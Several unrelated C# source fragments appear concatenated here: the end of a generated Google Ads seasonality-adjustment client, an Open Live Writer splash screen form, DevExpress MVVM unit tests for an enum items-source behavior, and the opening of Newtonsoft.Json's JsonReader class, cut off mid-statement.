return _callGetBiddingSeasonalityAdjustment.Async(request, callSettings);
}
/// <summary>
/// Creates, updates, or removes seasonality adjustments.
/// Operation statuses are returned.
/// </summary>
/// <param name="request">The request object containing all of the parameters for the API call.</param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>The RPC response.</returns>
public override MutateBiddingSeasonalityAdjustmentsResponse MutateBiddingSeasonalityAdjustments(MutateBiddingSeasonalityAdjustmentsRequest request, gaxgrpc::CallSettings callSettings = null)
{
Modify_MutateBiddingSeasonalityAdjustmentsRequest(ref request, ref callSettings);
return _callMutateBiddingSeasonalityAdjustments.Sync(request, callSettings);
}
/// <summary>
/// Creates, updates, or removes seasonality adjustments.
/// Operation statuses are returned.
/// </summary>
/// <param name="request">The request object containing all of the parameters for the API call.</param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>A Task containing the RPC response.</returns>
public override stt::Task<MutateBiddingSeasonalityAdjustmentsResponse> MutateBiddingSeasonalityAdjustmentsAsync(MutateBiddingSeasonalityAdjustmentsRequest request, gaxgrpc::CallSettings callSettings = null)
{
Modify_MutateBiddingSeasonalityAdjustmentsRequest(ref request, ref callSettings);
return _callMutateBiddingSeasonalityAdjustments.Async(request, callSettings);
}
}
}
| |
// Copyright (c) .NET Foundation. All rights reserved.
// Licensed under the MIT license. See LICENSE file in the project root for details.
using System;
using System.Drawing.Imaging;
using System.Globalization;
using System.Threading ;
using System.Drawing;
using System.Windows.Forms;
using OpenLiveWriter.Interop.Windows;
using OpenLiveWriter.Localization;
using OpenLiveWriter.Localization.Bidi;
namespace OpenLiveWriter.CoreServices
{
/// <summary>
/// Summary description for SplashScreen.
/// </summary>
public class SplashScreen : BaseForm
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.Container components = null;
/// <summary>
/// Background image
/// </summary>
private Bitmap _backgroundImage ;
private Bitmap _logoImage ;
public SplashScreen()
{
//
// Required for Windows Form Designer support
//
InitializeComponent();
// Turn off CS_CLIPCHILDREN.
User32.SetWindowLong(Handle, GWL.STYLE, User32.GetWindowLong(Handle, GWL.STYLE) & ~WS.CLIPCHILDREN);
// Turn on double buffered painting.
SetStyle(ControlStyles.UserPaint, true);
SetStyle(ControlStyles.DoubleBuffer, true);
if (!BidiHelper.IsRightToLeft)
SetStyle(ControlStyles.AllPaintingInWmPaint, true);
_backgroundImage = new Bitmap(this.GetType(), "Images.SplashScreen.png");
_logoImage = new Bitmap(this.GetType(), "Images.SplashScreenLogo.jpg");
if (SystemInformation.HighContrast)
{
ImageHelper.ConvertToHighContrast(_backgroundImage);
ImageHelper.ConvertToHighContrast(_logoImage);
}
}
private const int WS_EX_TOOLWINDOW= 0x00000080;
private const int WS_EX_APPWINDOW=0x00040000;
private const int WS_EX_LAYERED=0x00080000;
protected override CreateParams CreateParams
{
get
{
CreateParams cp=base.CreateParams;
cp.ExStyle &= ~WS_EX_APPWINDOW;
cp.ExStyle |= WS_EX_TOOLWINDOW;
cp.ExStyle |= WS_EX_LAYERED;
return cp;
}
}
protected override void OnLoad(EventArgs e)
{
base.OnLoad(e);
UpdateBitmap();
}
private void UpdateBitmap()
{
using (Bitmap bitmap = CreateBitmap())
{
IntPtr screenDC = User32.GetDC(IntPtr.Zero);
try
{
IntPtr memDC = Gdi32.CreateCompatibleDC(screenDC);
try
{
IntPtr hBitmap = bitmap.GetHbitmap(Color.FromArgb(0));
try
{
IntPtr hOrigBitmap = Gdi32.SelectObject(memDC, hBitmap);
try
{
POINT dst = new POINT();
dst.x = Left;
dst.y = Top;
SIZE size = new SIZE();
size.cx = bitmap.Width;
size.cy = bitmap.Height;
POINT src = new POINT();
src.x = 0;
src.y = 0;
User32.BLENDFUNCTION blendFunction = new User32.BLENDFUNCTION();
blendFunction.BlendOp = 0; // AC_SRC_OVER
blendFunction.BlendFlags = 0;
blendFunction.SourceConstantAlpha = 255;
blendFunction.AlphaFormat = 1; // AC_SRC_ALPHA
User32.UpdateLayeredWindow(Handle, screenDC, ref dst, ref size, memDC, ref src, 0, ref blendFunction, 2);
}
finally
{
Gdi32.SelectObject(memDC, hOrigBitmap);
}
}
finally
{
Gdi32.DeleteObject(hBitmap);
}
}
finally
{
Gdi32.DeleteDC(memDC);
}
}
finally
{
User32.ReleaseDC(IntPtr.Zero, screenDC);
}
}
}
private Bitmap CreateBitmap()
{
Bitmap bitmap = new Bitmap(_backgroundImage.Width, _backgroundImage.Height, PixelFormat.Format32bppArgb);
using (Graphics graphics = Graphics.FromImage(bitmap))
{
BidiGraphics g = new BidiGraphics(graphics, bitmap.Size);
// draw transparent background image
g.DrawImage(false, _backgroundImage,
new Rectangle(0, 0, _backgroundImage.Width, _backgroundImage.Height));
// draw logo image
g.DrawImage(false, _logoImage, new Rectangle(
(ClientSize.Width - _logoImage.Width) / 2,
120 - _logoImage.Height,
_logoImage.Width,
_logoImage.Height));
// draw copyright notice
string splashText = Res.Get(StringId.SplashScreenCopyrightNotice);
using (Font font = new Font(Font.FontFamily, 7.5f))
{
const int TEXT_PADDING_H = 36;
const int TEXT_PADDING_V = 26;
int textWidth = Size.Width - 2*TEXT_PADDING_H;
int textHeight =
Convert.ToInt32(
g.MeasureText(splashText, font, new Size(textWidth, 0), TextFormatFlags.WordBreak).Height,
CultureInfo.InvariantCulture);
// GDI text can't be drawn on an alpha-blended surface. So we render a black-on-white
// bitmap, then use a ColorMatrix to effectively turn it into an alpha mask.
using (Bitmap textBitmap = new Bitmap(textWidth, textHeight, PixelFormat.Format32bppRgb))
{
using (Graphics tbG = Graphics.FromImage(textBitmap))
{
tbG.FillRectangle(Brushes.Black, 0, 0, textWidth, textHeight);
new BidiGraphics(tbG, textBitmap.Size).
DrawText(splashText, font, new Rectangle(0, 0, textWidth, textHeight), Color.White, Color.Black, TextFormatFlags.WordBreak);
}
Rectangle textRect = new Rectangle(TEXT_PADDING_H, ClientSize.Height - TEXT_PADDING_V - textHeight, textWidth, textHeight);
using (ImageAttributes ia = new ImageAttributes())
{
ColorMatrix cm = new ColorMatrix(new float[][]
{
new float[] {0, 0, 0, 1f/3f, 0},
new float[] {0, 0, 0, 1f/3f, 0},
new float[] {0, 0, 0, 1f/3f, 0},
new float[] {0, 0, 0, 0, 0},
new float[] {0.9372f, 0.9372f, 0.9372f, 0, 0},
});
ia.SetColorMatrix(cm);
g.DrawImage(false, textBitmap, textRect, 0, 0, textWidth, textHeight, GraphicsUnit.Pixel, ia);
}
}
}
}
return bitmap;
}
/// <summary>
/// Clean up any resources being used.
/// </summary>
protected override void Dispose( bool disposing )
{
if( disposing )
{
if(components != null)
{
components.Dispose();
}
}
base.Dispose( disposing );
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
//
// SplashScreen
//
this.AutoScaleMode = AutoScaleMode.None;
this.AutoScaleBaseSize = new System.Drawing.Size(5, 14);
this.ClientSize = new System.Drawing.Size(380, 235);
this.Cursor = Cursors.AppStarting;
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
this.Name = "SplashScreen";
//if this inherits Yes from the parent the screenshot of the background is reversed
this.RightToLeftLayout = false;
this.ShowInTaskbar = false;
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
}
#endregion
}
/// <summary>
/// Implementation of a splash screen connected to a form
/// </summary>
public class FormSplashScreen : IDisposable
{
public FormSplashScreen(Form form)
{
this.form = form;
}
public Form Form
{
get { return form; }
}
/// <summary>
/// Close the form (do it only once and defend against exceptions
/// occuring during close/dispose)
/// </summary>
public void Dispose()
{
if ( form != null )
{
if (form.InvokeRequired)
{
form.BeginInvoke(new ThreadStart(Dispose));
}
else
{
try
{
form.Close();
form.Dispose();
}
finally
{
form = null;
}
}
}
}
/// <summary>
/// Form instance
/// </summary>
private Form form ;
}
}
| |
using DevExpress.Internal;
using DevExpress.Mvvm.DataAnnotations;
using DevExpress.Mvvm.POCO;
using DevExpress.Mvvm.UI.Interactivity;
using DevExpress.Utils;
using NUnit.Framework;
using System;
using System.Collections;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.Globalization;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Markup;
using System.Windows.Media;
namespace DevExpress.Mvvm.UI.Tests {
[TestFixture]
public class EnumItemsSourceBehaviorTests : BaseWpfFixture {
const string UriPrefix = "pack://application:,,,/DevExpress.Mvvm.Tests.Free;component/Behaviors/TestImages/";
enum TestEnum1 {
[Image(UriPrefix + "Cut.png")]
[Display(Description = "CutDescription")]
CutItem
}
enum TestEnum2 {
[Image(UriPrefix + "Copy.png")]
[Display(Description = "CopyDescription")]
CopyItem,
[Image(UriPrefix + "Delete.png")]
[Display(Description = "DeleteDescription", Name = "CustomDeleteItem")]
DeleteItem,
CutItem
}
bool EnumMemberInfoComparer(EnumMemberInfo enumMemberInfo, string description, string id, string imageName, string name) {
return description == enumMemberInfo.Description
&& (enumMemberInfo.Id == null) ? (id == null) : id == enumMemberInfo.Id.ToString()
&& (enumMemberInfo.Image == null) ? (imageName == null) : imageName == enumMemberInfo.Image.ToString()
&& enumMemberInfo.Name == name;
}
bool ItemsControlNameComparer(ItemsControl control, string firstName, string secondName, string lastName) {
return ((EnumMemberInfo)control.Items.GetItemAt(0)).Name == firstName
&& ((EnumMemberInfo)control.Items.GetItemAt(1)).Name == secondName
&& ((EnumMemberInfo)control.Items.GetItemAt(2)).Name == lastName;
}
bool ItemsControlStringIdComparer(ItemsControl control, string firstId, string secondId, string lastId) {
return ((EnumMemberInfo)control.Items.GetItemAt(0)).Id.ToString() == firstId
&& ((EnumMemberInfo)control.Items.GetItemAt(1)).Id.ToString() == secondId
&& ((EnumMemberInfo)control.Items.GetItemAt(2)).Id.ToString() == lastId;
}
class EnumNameConverter : IValueConverter {
public object Convert(Object value, Type targetType, Object parameter, CultureInfo culture) {
if(value == null) return null;
return "^^" + value.ToString() + "**";
}
public object ConvertBack(Object value, Type targetType, Object parameter, CultureInfo culture) {
throw new NotImplementedException();
}
}
[Test]
public void DefalutValues() {
EnumItemsSourceBehavior behavior = new EnumItemsSourceBehavior();
Assert.IsNull(behavior.ItemTemplate);
Assert.IsNull(behavior.EnumType);
Assert.IsFalse(behavior.UseNumericEnumValue);
Assert.IsTrue(behavior.SplitNames);
Assert.IsNull(behavior.NameConverter);
Assert.AreEqual(EnumMembersSortMode.Default, behavior.SortMode);
}
[Test, ExpectedException(ExpectedMessage = "EnumType required")]
public void EnumRequiredExceptionForCreate() {
EnumItemsSourceBehavior listBoxBehavior = new EnumItemsSourceBehavior();
ListBox listBoxControl = new ListBox();
Interaction.GetBehaviors(listBoxControl).Add(listBoxBehavior);
}
[Test, ExpectedException(ExpectedMessage = "EnumType required")]
public void EnumRequiredExceptionForSet() {
EnumItemsSourceBehavior listBoxBehavior = new EnumItemsSourceBehavior() { EnumType = typeof(TestEnum1) };
ListBox listBoxControl = new ListBox();
Interaction.GetBehaviors(listBoxControl).Add(listBoxBehavior);
listBoxBehavior.EnumType = null;
}
[Test]
public void BehaviorOnLoaded() {
ListBox listBox = new ListBox();
ComboBox comboBox = new ComboBox();
ItemsControl itemsControl = new ItemsControl();
EnumItemsSourceBehavior listBoxBehavior = new EnumItemsSourceBehavior() { EnumType = typeof(TestEnum1) };
EnumItemsSourceBehavior comboBoxBehavior = new EnumItemsSourceBehavior() { EnumType = typeof(TestEnum2) };
EnumItemsSourceBehavior itemsControlBehavior = new EnumItemsSourceBehavior() { EnumType = typeof(TestEnum2) };
Interaction.GetBehaviors(listBox).Add(listBoxBehavior);
Interaction.GetBehaviors(comboBox).Add(comboBoxBehavior);
Interaction.GetBehaviors(itemsControl).Add(itemsControlBehavior);
Assert.IsTrue(Interaction.GetBehaviors(listBox).Contains(listBoxBehavior));
Assert.AreEqual(1, Interaction.GetBehaviors(listBox).Count);
Assert.AreEqual(1, listBox.Items.Count);
Assert.IsTrue(Interaction.GetBehaviors(comboBox).Contains(comboBoxBehavior));
Assert.AreEqual(1, Interaction.GetBehaviors(comboBox).Count);
Assert.AreEqual(3, comboBox.Items.Count);
Assert.IsTrue(Interaction.GetBehaviors(itemsControl).Contains(itemsControlBehavior));
Assert.AreEqual(1, Interaction.GetBehaviors(itemsControl).Count);
Assert.AreEqual(3, itemsControl.Items.Count);
Assert.IsTrue(EnumMemberInfoComparer((EnumMemberInfo)listBox.Items.GetItemAt(0), "CutDescription", "CutItem",
UriPrefix + "Cut.png", "Cut Item"));
Assert.IsTrue(EnumMemberInfoComparer((EnumMemberInfo)comboBox.Items.GetItemAt(0), "CopyDescription", "CopyItem",
UriPrefix + "Copy.png", "Copy Item"));
Assert.IsTrue(EnumMemberInfoComparer((EnumMemberInfo)comboBox.Items.GetItemAt(1), "DeleteDescription", "DeleteItem",
UriPrefix + "Delete.png", "Custom Delete Item"));
Assert.IsTrue(EnumMemberInfoComparer((EnumMemberInfo)comboBox.Items.GetItemAt(2), null, "CutItem",
null, "Cut Item"));
Assert.IsTrue(EnumMemberInfoComparer((EnumMemberInfo)itemsControl.Items.GetItemAt(0), "CopyDescription", "CopyItem",
UriPrefix + "Copy.png", "Copy Item"));
Assert.IsTrue(EnumMemberInfoComparer((EnumMemberInfo)itemsControl.Items.GetItemAt(1), "DeleteDescription", "DeleteItem",
UriPrefix + "Delete.png", "Custom Delete Item"));
Assert.IsTrue(EnumMemberInfoComparer((EnumMemberInfo)itemsControl.Items.GetItemAt(2), null, "CutItem",
null, "Cut Item"));
}
[Test]
public void AssociatedObjectChanged() {
ListBox itemsControl1 = new ListBox();
ComboBox itemsControl2 = new ComboBox();
EnumItemsSourceBehavior behavior1 = new EnumItemsSourceBehavior() { EnumType = typeof(TestEnum1) };
EnumItemsSourceBehavior behavior2 = new EnumItemsSourceBehavior() { EnumType = typeof(TestEnum2), SplitNames = false, SortMode = EnumMembersSortMode.DisplayNameLengthDescending };
Interaction.GetBehaviors(itemsControl1).Add(behavior1);
Interaction.GetBehaviors(itemsControl2).Add(behavior2);
Interaction.GetBehaviors(itemsControl1).Clear();
Interaction.GetBehaviors(itemsControl2).Clear();
Interaction.GetBehaviors(itemsControl1).Add(behavior2);
Assert.IsTrue(Interaction.GetBehaviors(itemsControl1).Contains(behavior2));
Assert.IsEmpty(Interaction.GetBehaviors(itemsControl2));
Assert.IsTrue(EnumMemberInfoComparer((EnumMemberInfo)itemsControl1.Items.GetItemAt(0), "DeleteDescription", "DeleteItem",
UriPrefix + "Delete.png", "CustomDeleteItem"));
Assert.IsTrue(EnumMemberInfoComparer((EnumMemberInfo)itemsControl1.Items.GetItemAt(1), "CopyDescription", "CopyItem",
UriPrefix + "Copy.png", "CopyItem"));
}
[Test]
public void BehaviorSortModeChanged() {
ListBox listBox = new ListBox();
ComboBox comboBox = new ComboBox();
ItemsControl itemsControl = new ItemsControl();
EnumItemsSourceBehavior listBoxBehavior = new EnumItemsSourceBehavior() { EnumType = typeof(TestEnum2) };
EnumItemsSourceBehavior comboBoxBehavior = new EnumItemsSourceBehavior() { EnumType = typeof(TestEnum2) };
EnumItemsSourceBehavior itemsControlBehavior = new EnumItemsSourceBehavior() { EnumType = typeof(TestEnum2) };
Interaction.GetBehaviors(listBox).Add(listBoxBehavior);
Interaction.GetBehaviors(comboBox).Add(comboBoxBehavior);
Interaction.GetBehaviors(itemsControl).Add(itemsControlBehavior);
listBoxBehavior.SortMode = EnumMembersSortMode.DisplayNameDescending;
comboBoxBehavior.SortMode = EnumMembersSortMode.DisplayNameDescending;
itemsControlBehavior.SortMode = EnumMembersSortMode.DisplayNameDescending;
Assert.IsTrue(ItemsControlNameComparer(listBox, "Cut Item", "Custom Delete Item", "Copy Item"));
Assert.IsTrue(ItemsControlNameComparer(comboBox, "Cut Item", "Custom Delete Item", "Copy Item"));
Assert.IsTrue(ItemsControlNameComparer(itemsControl, "Cut Item", "Custom Delete Item", "Copy Item"));
listBoxBehavior.SortMode = EnumMembersSortMode.DisplayNameLength;
comboBoxBehavior.SortMode = EnumMembersSortMode.DisplayNameLength;
itemsControlBehavior.SortMode = EnumMembersSortMode.DisplayNameLength;
Assert.IsTrue(ItemsControlNameComparer(listBox, "Cut Item", "Copy Item", "Custom Delete Item"));
Assert.IsTrue(ItemsControlNameComparer(comboBox, "Cut Item", "Copy Item", "Custom Delete Item"));
Assert.IsTrue(ItemsControlNameComparer(itemsControl, "Cut Item", "Copy Item", "Custom Delete Item"));
listBoxBehavior.SortMode = EnumMembersSortMode.DisplayNameLengthDescending;
comboBoxBehavior.SortMode = EnumMembersSortMode.DisplayNameLengthDescending;
itemsControlBehavior.SortMode = EnumMembersSortMode.DisplayNameLengthDescending;
Assert.IsTrue(ItemsControlNameComparer(listBox, "Custom Delete Item", "Copy Item", "Cut Item"));
Assert.IsTrue(ItemsControlNameComparer(comboBox, "Custom Delete Item", "Copy Item", "Cut Item"));
Assert.IsTrue(ItemsControlNameComparer(itemsControl, "Custom Delete Item", "Copy Item", "Cut Item"));
}
[Test]
public void BehaviorNameConverterSet() {
ListBox listBox = new ListBox();
ComboBox comboBox = new ComboBox();
ItemsControl itemsControl = new ItemsControl();
EnumItemsSourceBehavior listBoxBehavior = new EnumItemsSourceBehavior() { EnumType = typeof(TestEnum2) };
EnumItemsSourceBehavior comboBoxBehavior = new EnumItemsSourceBehavior() { EnumType = typeof(TestEnum2) };
EnumItemsSourceBehavior itemsControlBehavior = new EnumItemsSourceBehavior() { EnumType = typeof(TestEnum2) };
Interaction.GetBehaviors(listBox).Add(listBoxBehavior);
Interaction.GetBehaviors(comboBox).Add(comboBoxBehavior);
Interaction.GetBehaviors(itemsControl).Add(itemsControlBehavior);
listBoxBehavior.NameConverter = new EnumNameConverter();
comboBoxBehavior.NameConverter = new EnumNameConverter();
itemsControlBehavior.NameConverter = new EnumNameConverter();
Assert.IsTrue(ItemsControlNameComparer(listBox, "^^CopyItem**", "^^DeleteItem**", "^^CutItem**"));
Assert.IsTrue(ItemsControlNameComparer(comboBox, "^^CopyItem**", "^^DeleteItem**", "^^CutItem**"));
Assert.IsTrue(ItemsControlNameComparer(itemsControl, "^^CopyItem**", "^^DeleteItem**", "^^CutItem**"));
listBoxBehavior.NameConverter = null;
comboBoxBehavior.NameConverter = null;
itemsControlBehavior.NameConverter = null;
Assert.IsTrue(ItemsControlNameComparer(listBox, "Copy Item", "Custom Delete Item", "Cut Item"));
Assert.IsTrue(ItemsControlNameComparer(comboBox, "Copy Item", "Custom Delete Item", "Cut Item"));
Assert.IsTrue(ItemsControlNameComparer(itemsControl, "Copy Item", "Custom Delete Item", "Cut Item"));
}
[Test]
public void BehaviorSplitNames() {
ListBox listBox = new ListBox();
ComboBox comboBox = new ComboBox();
ItemsControl itemsControl = new ItemsControl();
EnumItemsSourceBehavior listBoxBehavior = new EnumItemsSourceBehavior() { EnumType = typeof(TestEnum2) };
EnumItemsSourceBehavior comboBoxBehavior = new EnumItemsSourceBehavior() { EnumType = typeof(TestEnum2) };
EnumItemsSourceBehavior itemsControlBehavior = new EnumItemsSourceBehavior() { EnumType = typeof(TestEnum2) };
Interaction.GetBehaviors(listBox).Add(listBoxBehavior);
Interaction.GetBehaviors(comboBox).Add(comboBoxBehavior);
Interaction.GetBehaviors(itemsControl).Add(itemsControlBehavior);
listBoxBehavior.SplitNames = false;
comboBoxBehavior.SplitNames = false;
itemsControlBehavior.SplitNames = false;
Assert.IsTrue(ItemsControlNameComparer(listBox, "CopyItem", "CustomDeleteItem", "CutItem"));
Assert.IsTrue(ItemsControlNameComparer(comboBox, "CopyItem", "CustomDeleteItem", "CutItem"));
Assert.IsTrue(ItemsControlNameComparer(itemsControl, "CopyItem", "CustomDeleteItem", "CutItem"));
}
[Test]
public void UseNumericEnumValue() {
ListBox listBox = new ListBox();
ComboBox comboBox = new ComboBox();
ItemsControl itemsControl = new ItemsControl();
EnumItemsSourceBehavior listBoxBehavior = new EnumItemsSourceBehavior() { EnumType = typeof(TestEnum2) };
EnumItemsSourceBehavior comboBoxBehavior = new EnumItemsSourceBehavior() { EnumType = typeof(TestEnum2) };
EnumItemsSourceBehavior itemsControlBehavior = new EnumItemsSourceBehavior() { EnumType = typeof(TestEnum2) };
Interaction.GetBehaviors(listBox).Add(listBoxBehavior);
Interaction.GetBehaviors(comboBox).Add(comboBoxBehavior);
Interaction.GetBehaviors(itemsControl).Add(itemsControlBehavior);
listBoxBehavior.UseNumericEnumValue = true;
comboBoxBehavior.UseNumericEnumValue = true;
itemsControlBehavior.UseNumericEnumValue = true;
listBoxBehavior.SortMode = EnumMembersSortMode.DisplayNameLength;
comboBoxBehavior.SortMode = EnumMembersSortMode.DisplayNameLength;
itemsControlBehavior.SortMode = EnumMembersSortMode.DisplayNameLength;
Assert.IsTrue(ItemsControlStringIdComparer(listBox, "2", "0", "1"));
Assert.IsTrue(ItemsControlStringIdComparer(comboBox, "2", "0", "1"));
Assert.IsTrue(ItemsControlStringIdComparer(itemsControl, "2", "0", "1"));
listBoxBehavior.UseNumericEnumValue = false;
comboBoxBehavior.UseNumericEnumValue = false;
itemsControlBehavior.UseNumericEnumValue = false;
Assert.IsTrue(ItemsControlStringIdComparer(listBox, "CutItem", "CopyItem", "DeleteItem"));
Assert.IsTrue(ItemsControlStringIdComparer(comboBox, "CutItem", "CopyItem", "DeleteItem"));
Assert.IsTrue(ItemsControlStringIdComparer(itemsControl, "CutItem", "CopyItem", "DeleteItem"));
}
[Test]
public void EnumTypeChanged() {
ListBox listBox = new ListBox();
ComboBox comboBox = new ComboBox();
ItemsControl itemsControl = new ItemsControl();
EnumItemsSourceBehavior listBoxBehavior = new EnumItemsSourceBehavior() { EnumType = typeof(TestEnum1) };
EnumItemsSourceBehavior comboBoxBehavior = new EnumItemsSourceBehavior() { EnumType = typeof(TestEnum1) };
EnumItemsSourceBehavior itemsControlBehavior = new EnumItemsSourceBehavior() { EnumType = typeof(TestEnum1) };
Interaction.GetBehaviors(listBox).Add(listBoxBehavior);
Interaction.GetBehaviors(comboBox).Add(comboBoxBehavior);
Interaction.GetBehaviors(itemsControl).Add(itemsControlBehavior);
Assert.AreEqual(1, listBox.Items.Count);
Assert.AreEqual(1, comboBox.Items.Count);
Assert.AreEqual(1, comboBox.Items.Count);
listBoxBehavior.EnumType = typeof(TestEnum2);
comboBoxBehavior.EnumType = typeof(TestEnum2);
itemsControlBehavior.EnumType = typeof(TestEnum2);
Assert.AreEqual(3, listBox.Items.Count);
Assert.AreEqual(3, comboBox.Items.Count);
Assert.AreEqual(3, comboBox.Items.Count);
Assert.IsTrue(EnumMemberInfoComparer((EnumMemberInfo)listBox.Items.GetItemAt(0), "CopyDescription", "CopyItem",
UriPrefix + "Copy.png", "Copy Item"));
Assert.IsTrue(EnumMemberInfoComparer((EnumMemberInfo)comboBox.Items.GetItemAt(0), "CopyDescription", "CopyItem",
UriPrefix + "Copy.png", "Copy Item"));
Assert.IsTrue(EnumMemberInfoComparer((EnumMemberInfo)itemsControl.Items.GetItemAt(0), "CopyDescription", "CopyItem",
UriPrefix + "Copy.png", "Copy Item"));
}
[Test]
public void DefaultDataTemplateLoad() {
ListBox listBox = new ListBox();
ComboBox comboBox = new ComboBox();
ItemsControl itemsControl = new ItemsControl();
EnumItemsSourceBehavior listBoxBehavior = new EnumItemsSourceBehavior() { EnumType = typeof(TestEnum1) };
EnumItemsSourceBehavior comboBoxBehavior = new EnumItemsSourceBehavior() { EnumType = typeof(TestEnum1) };
EnumItemsSourceBehavior itemsControlBehavior = new EnumItemsSourceBehavior() { EnumType = typeof(TestEnum1) };
Interaction.GetBehaviors(listBox).Add(listBoxBehavior);
Interaction.GetBehaviors(comboBox).Add(comboBoxBehavior);
Interaction.GetBehaviors(itemsControl).Add(itemsControlBehavior);
Assert.IsNotNull(listBoxBehavior.ItemTemplate);
Assert.IsNotNull(comboBox.ItemTemplate);
Assert.IsNotNull(itemsControl.ItemTemplate);
Assert.AreEqual(listBoxBehavior.defaultDataTemplate, listBox.ItemTemplate);
Assert.AreEqual(comboBoxBehavior.defaultDataTemplate, comboBox.ItemTemplate);
Assert.AreEqual(itemsControlBehavior.defaultDataTemplate, itemsControl.ItemTemplate);
}
[POCOViewModel]
public class TestViewModel {
public virtual DataTemplate NewTemplate { get; set; }
}
[Test]
public void SetItemTemplateBinding() {
ListBox control = new ListBox();
DataTemplate testDataTemplate = new DataTemplate();
TestViewModel testViewModel = ViewModelSource.Create<TestViewModel>();
EnumItemsSourceBehavior listBoxBehavior = new EnumItemsSourceBehavior() { EnumType = typeof(TestEnum1) };
BindingOperations.SetBinding(listBoxBehavior, EnumItemsSourceBehavior.ItemTemplateProperty,
new Binding("NewTemplate") { Source = testViewModel, UpdateSourceTrigger = UpdateSourceTrigger.PropertyChanged, Mode = BindingMode.OneWay });
Interaction.GetBehaviors(control).Add(listBoxBehavior);
Assert.AreEqual(listBoxBehavior.defaultDataTemplate, control.ItemTemplate);
testViewModel.NewTemplate = testDataTemplate;
Assert.AreEqual(testDataTemplate, control.ItemTemplate);
}
[Test, ExpectedException(ExpectedMessage = "ItemsSource dependency property required")]
public void ItemsSourseRequiredException() {
FrameworkElement element = new FrameworkElement();
EnumItemsSourceBehavior behavior = new EnumItemsSourceBehavior() { EnumType = typeof(TestEnum1) };
Interaction.GetBehaviors(element).Add(behavior);
}
}
}
| |
#region License
// Copyright (c) 2007 James Newton-King
//
// Permission is hereby granted, free of charge, to any person
// obtaining a copy of this software and associated documentation
// files (the "Software"), to deal in the Software without
// restriction, including without limitation the rights to use,
// copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the
// Software is furnished to do so, subject to the following
// conditions:
//
// The above copyright notice and this permission notice shall be
// included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
// OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
// HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
// WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
// OTHER DEALINGS IN THE SOFTWARE.
#endregion
using System;
using System.Collections.Generic;
using System.IO;
using System.Globalization;
#if HAVE_BIG_INTEGER
using System.Numerics;
#endif
using Newtonsoft.Json.Serialization;
using Newtonsoft.Json.Utilities;
namespace Newtonsoft.Json
{
/// <summary>
/// Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data.
/// </summary>
public abstract partial class JsonReader : IDisposable
{
/// <summary>
/// Specifies the state of the reader.
/// </summary>
protected internal enum State
{
/// <summary>
/// A <see cref="JsonReader"/> read method has not been called.
/// </summary>
Start,
/// <summary>
/// The end of the file has been reached successfully.
/// </summary>
Complete,
/// <summary>
/// Reader is at a property.
/// </summary>
Property,
/// <summary>
/// Reader is at the start of an object.
/// </summary>
ObjectStart,
/// <summary>
/// Reader is in an object.
/// </summary>
Object,
/// <summary>
/// Reader is at the start of an array.
/// </summary>
ArrayStart,
/// <summary>
/// Reader is in an array.
/// </summary>
Array,
/// <summary>
/// The <see cref="JsonReader.Close()"/> method has been called.
/// </summary>
Closed,
/// <summary>
/// Reader has just read a value.
/// </summary>
PostValue,
/// <summary>
/// Reader is at the start of a constructor.
/// </summary>
ConstructorStart,
/// <summary>
/// Reader is in a constructor.
/// </summary>
Constructor,
/// <summary>
/// An error occurred that prevents the read operation from continuing.
/// </summary>
Error,
/// <summary>
/// The end of the file has been reached successfully.
/// </summary>
Finished
}
// current Token data
private JsonToken _tokenType;
private object? _value;
internal char _quoteChar;
internal State _currentState;
private JsonPosition _currentPosition;
private CultureInfo? _culture;
private DateTimeZoneHandling _dateTimeZoneHandling;
private int? _maxDepth;
private bool _hasExceededMaxDepth;
internal DateParseHandling _dateParseHandling;
internal FloatParseHandling _floatParseHandling;
private string? _dateFormatString;
private List<JsonPosition>? _stack;
/// <summary>
/// Gets the current reader state.
/// </summary>
/// <value>The current reader state.</value>
protected State CurrentState => _currentState;
/// <summary>
/// Gets or sets a value indicating whether the source should be closed when this reader is closed.
/// </summary>
/// <value>
/// <c>true</c> to close the source when this reader is closed; otherwise <c>false</c>. The default is <c>true</c>.
/// </value>
public bool CloseInput { get; set; }
/// <summary>
/// Gets or sets a value indicating whether multiple pieces of JSON content can
/// be read from a continuous stream without erroring.
/// </summary>
/// <value>
/// <c>true</c> to support reading multiple pieces of JSON content; otherwise <c>false</c>.
/// The default is <c>false</c>.
/// </value>
public bool SupportMultipleContent { get; set; }
/// <summary>
/// Gets the quotation mark character used to enclose the value of a string.
/// </summary>
public virtual char QuoteChar
{
get => _quoteChar;
protected internal set => _quoteChar = value;
}
/// <summary>
/// Gets or sets how <see cref="DateTime"/> time zones are handled when reading JSON.
/// </summary>
public DateTimeZoneHandling DateTimeZoneHandling
{
get => _dateTimeZoneHandling;
set
{
if (value < DateTimeZoneHandling.Local || value > DateTimeZoneHandling.RoundtripKind)
{
throw new ArgumentOutOfRangeException(nameof(value));
}
_dateTimeZoneHandling = value;
}
}
/// <summary>
/// Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON.
/// </summary>
public DateParseHandling DateParseHandling
{
get => _dateParseHandling;
set
{
if (value < DateParseHandling.None ||
#if HAVE_DATE_TIME_OFFSET
value > DateParseHandling.DateTimeOffset
#else
value > DateParseHandling.DateTime
#endif
)
{
